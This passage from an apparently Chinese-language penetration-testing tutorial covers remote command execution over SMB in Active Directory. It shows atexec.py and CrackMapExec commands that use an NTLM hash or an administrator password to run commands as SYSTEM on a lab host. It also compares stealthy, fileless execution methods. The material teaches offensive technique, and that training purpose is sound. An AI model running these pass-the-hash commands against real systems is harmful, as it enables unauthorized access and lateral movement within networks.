atexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 [email protected] 'whoami'

从输出中可以看到,根本就没有 shell。此外,命令是以 SYSTEM 权限执行,这与 psexec.py 和 smbexec.py 类似。
要使用带密码的 atexec.py,语法如下:
bash
atexec.py administrator:'LocalAdminPassword1!'@172.16.1.200 'whoami'
现在,我们了解了 5 个可用于命令执行的 Impacket 脚本。接下来,让我们看看如何使用 CrackMapExec 通过 SMB 执行命令。
7.2、CrackMapExec
与使用 Impacket 脚本类似,CrackMapExec 使用以下方法执行命令:smbexec、mmcexec(DCOM)、wmiexec、atexec。如您所见,没有 psexec 方法,这可能是因为其它四种方法都是无文件利用,因此更隐蔽吧。
默认情况下,当未指定方法时,CrackMapExec 将使用 wmiexec 方法执行命令。
CrackMapExec 执行命令的两个选项:-x 对应 cmd.exe、-X 对应powershell.exe。
首先,通过 wmiexec 简单地使用 cmd.exe 运行命令。
bash
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth -x 'dir C:\'

请注意,在以本地账户使用工具时,我们总是需要去掉 -d 选项,同时添加 -local-auth。
接着,通过 wmiexec 运行 PowerShell 命令。
bash
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth -X 'Get-ChildItem C:\'

最后,我们可以使用 -exec-method 选项选择要使用的执行方法,就像这样:
bash
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth --exec-method smbexec -x 'whoami'

bash
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth --exec-method mmcexec -x 'whoami'

bash
crackmapexec smb 172.16.1.200 -u 'Administrator' -H '3542d79d5d17bc9d3014d4d56b5e3060' --local-auth --exec-method atexec -x 'whoami'

8、最后的想法
可以通过 SMB 执行的侦查工作实在太多了,我觉得还有很多的工作要做。不过,我们已经介绍了 SMB 枚举的所有最重要的方面,所以在这一点上,其它额外的任何内容也都只是锦上添花而已。
在示例场景中,我们从匿名访问(未认证)到标准用户(已认证)再到本地管理员(特权),看到了在每个访问级别上我们可以做的不同事情。这是 Active Directory 黑客攻击的一个重要方面,也是一般黑客攻击的一个重要方面。通常情况下,我们会发现枚举工作需要循环往复才能达到最佳效果,这意味着一旦获得了额外的访问权限(凭据、哈希值等),我们就需要返回到重要的服务继续开始循环枚举。
最后补充一点,SMB 服务对攻击者来说绝对是黄金!它是那种一旦被发现开放就应该始终成为主要目标的服务之一,尤其在 Active Directory 环境中更是如此。